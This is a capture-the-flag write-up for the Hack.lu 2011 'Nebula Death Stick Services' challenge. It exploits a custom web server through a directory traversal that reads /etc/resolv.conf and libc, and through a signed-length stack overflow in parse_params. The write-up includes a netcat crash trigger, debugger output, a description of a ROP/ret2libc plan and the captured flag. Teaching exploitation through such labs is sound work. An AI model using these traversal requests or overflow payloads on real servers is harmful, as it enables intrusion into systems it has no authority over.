Hack.lu CTF 2011: Nebula Death Stick Services writeup
Death Sticks are a totally illegal drug in the universe.
However, somehow a company called Death Stick Services has managed to get a huge trade volume by selling Death Sticks directly and anonymously to their costumers.
Seems like nobody has the power to stop them, so the Galactic’s Secret Service ordered YOU and your Special Forces team to get a Shell on Death Stick Service’s server and search for any evidence on how to take them down!
May the force be with you.
Thanks rd for helping Analysis part.
Checking around http://ctf.hack.lu:2010/ page, I found that there is a directory traversal vulnerability (http://ctf.hack.lu:2010/?page=../../../../etc/resolv.conf). Together with “./a.out“ from HTTP response header, I managed to download the binary via this request http://ctf.hack.lu:2010/?page=../a.out.
“a.out” binary is a 32 bit x86 Linux binary, running on Ubuntu 10.10 server. There is a vulnerability in query parsing function parse_params as below.
parse_params() function basically looks ‘?‘ and ‘=‘ in order to parse the input query such as /?page=blah, and then uses the different in length (len) to store parameter name and its value to the buffer on the stack of the caller function (handle_connection()). From above code, you can see that if we input in reverse order of ‘?‘ and ‘=‘ such as /=blah?, len value will be negative but it still pass the the condition check because of signed comparison. This leads into a traditional stack buffer overflow.
$ python2 -c ‘print “GET /=” + “A”*60 + “? HTTP/”‘|nc -v localhost 2010
Starting program: /home/jail/ctf/hack.lu/o500/a.out
Notice: Nebulaserv – A Webserver for Nebulacorp
Notice: Starting up!
- Accepting requests on port 2010
[New process 4626]
- Got request with length 0: 127.0.0.1:35695 – GET /=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA? HTTP/
- Got param: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA< with value
- Opening ./nebula/index – 404 Not Found
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 4626]
0×41414141 in ?? ()
The binary has NX and ASLR enabled so we have to leak libc info from server for ROP/ret2libc exploit. During the game, to save time we utilized shell on the same server from Nebula DB challenge to retrieved libc, then constructed a ROP payload to call a custom shell script as system(”/tmp/sh”). After the game, we investigate more to see if we can exploit without any knowledge of server. And here is the way we do:
In handle_connection() function socket fd is increased for every new connection. Though we can find this value on stack, it is still difficult to find code chunks to write back something valuable to our socket. Instead, we can utilize the directory traversal bug above to retrieve libc via this request: http://ctf.hack.lu:2010/?page=../../../../lib/libc.so.6
Construct ROP payload
With libc in hand, we know exact offset to any libc function and ROP payload can be constructed using “data re-use way” via sprintf() – which can perform byte-per-byte transfer the same as strcpy() – or “ROP with common functions in Ubuntu/Debian x86“.
The flag was put in a file with strange name so you cannot guess and get it via directory traversal bug.
$ ls -l /home/nebulaserver total 24 -r-xr-x--- 1 root nebulaserver 11195 2011-09-11 20:50 a.out -r--r----- 1 root nebulaserver 27 2011-09-20 13:19 IguessTHISisTHEflagDOOD drwxr-xr-x 3 root nebulaserver 4096 2011-09-11 20:22 nebula -r-xr-x--- 1 root nebulaserver 82 2011-09-20 17:00 restart.sh $ cat /home/nebulaserver/IguessTHISisTHEflagDOOD Flag: R0PPINGy0urWAYinDUDE